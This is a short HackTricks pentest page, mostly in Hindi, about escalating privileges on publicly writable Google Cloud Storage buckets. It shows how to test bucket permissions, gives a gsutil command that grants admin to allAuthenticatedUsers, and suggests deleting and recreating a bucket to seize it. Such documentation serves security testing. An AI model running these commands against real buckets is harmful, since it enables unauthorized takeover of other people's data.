GCP - Public Buckets Privilege Escalation

HackTricks का समर्थन करें

बकेट्स विशेषाधिकार वृद्धि

यदि बकेट नीति ने “allUsers” या “allAuthenticatedUsers” को उनकी बकेट नीति में लिखने (storage.buckets.setIamPolicy अनुमति)** की अनुमति दी,** तो कोई भी बकेट नीति को संशोधित कर सकता है और खुद को पूर्ण पहुंच दे सकता है।

अनुमतियों की जांच करें

बकेट पर अनुमतियों की जांच करने के 2 तरीके हैं। पहला तरीका है https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam पर अनुरोध करके या gsutil iam get gs://BUCKET_NAME चलाकर उन्हें मांगना।

हालांकि, यदि आपके उपयोगकर्ता (संभवतः allUsers या allAuthenticatedUsers से संबंधित) के पास बकेट की iam नीति (storage.buckets.getIamPolicy) को पढ़ने की अनुमति नहीं है, तो यह काम नहीं करेगा।

दूसरा विकल्प जो हमेशा काम करेगा वह है बकेट के testPermissions एंडपॉइंट का उपयोग करना यह पता लगाने के लिए कि क्या आपके पास निर्दिष्ट अनुमति है, उदाहरण के लिए: https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update

वृद्धि करना

Storage Admin को allAuthenticatedUsers को देने के लिए यह चलाना संभव है:

gsutil iam ch allAuthenticatedUsers:admin gs://BUCKET_NAME

Another attack would be to बकेट को हटाना और इसे अपने खाते में फिर से बनाना ताकि स्वामित्व चुराया जा सके.

References

Support HackTricks

Last updated